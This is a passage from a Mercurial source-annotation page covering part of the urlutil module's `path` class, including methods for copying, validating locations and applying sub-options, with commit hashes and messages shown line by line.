874 self.url = u |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
875 # the url from the config/command line before dealing with `path://` |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
876 self.raw_url = u.copy() |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
877 self.branch = branch |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
878 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
879 self.name = name |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
880 self.rawloc = rawloc |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
881 self.loc = b'%s' % u |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
882 |
48238
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47412
diff
changeset
|
883 if validate_path: |
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47412
diff
changeset
|
884 self._validate_path() |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
885 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
886 _path, sub_opts = ui.configsuboptions(b'paths', b'*') |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
887 self._own_sub_opts = {} |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
888 if suboptions is not None: |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
889 self._own_sub_opts = suboptions.copy() |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
890 sub_opts.update(suboptions) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
891 self._all_sub_opts = sub_opts.copy() |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
892 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
893 self._apply_suboptions(ui, sub_opts) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
894 |
47185
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
895 def copy(self): |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
896 """make a copy of this path object""" |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
897 new = self.__class__() |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
898 for k, v in self.__dict__.items(): |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
899 new_copy = getattr(v, 'copy', None) |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
900 if new_copy is not None: |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
901 v = new_copy() |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
902 new.__dict__[k] = v |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
903 return new |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47030
diff
changeset
|
904 |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
905 def _validate_path(self): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
906 # When given a raw location but not a symbolic name, validate the |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
907 # location is valid. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
908 if ( |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
909 not self.name |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
910 and not self.url.scheme |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
911 and not self._isvalidlocalpath(self.loc) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
912 ): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
913 raise ValueError( |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
914 b'location is not a URL or path to a local ' |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
915 b'repo: %s' % self.rawloc |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
916 ) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
917 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
918 def _apply_suboptions(self, ui, sub_options): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
919 # Now process the sub-options. If a sub-option is registered, its |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
920 # attribute will always be present. The value will be None if there |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
921 # was no valid sub-option. |
48913
f254fc73d956
global: bulk replace simple pycompat.iteritems(x) with x.items()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
48743
diff
changeset
|
922 for suboption, (attr, func) in _pathsuboptions.items(): |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
923 if suboption not in sub_options: |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
924 setattr(self, attr, None) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
925 continue |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
926 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
927 value = func(ui, self, sub_options[suboption]) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
928 setattr(self, attr, value) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
929 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
930 def _isvalidlocalpath(self, path): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
931 """Returns True if the given path is a potentially valid repository. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
932 This is its own function so that extensions can change the definition of |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
933 'valid' in this case (like when pulling from a git repo into a hg |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
934 one).""" |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
935 try: |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
936 return os.path.isdir(os.path.join(path, b'.hg')) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
937 # Python 2 may return TypeError. Python 3, ValueError. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
938 except (TypeError, ValueError): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
939 return False |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
940 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
941 @property |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
942 def suboptions(self): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
943 """Return sub-options and their values for this path. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
944 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
945 This is intended to be used for presentation purposes. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
946 """ |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
947 d = {} |
48913
f254fc73d956
global: bulk replace simple pycompat.iteritems(x) with x.items()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
48743
diff
changeset
|
948 for subopt, (attr, _func) in _pathsuboptions.items(): |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
949 value = getattr(self, attr) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
950 if value is not None: |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
951 d[subopt] = value |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
952 return d |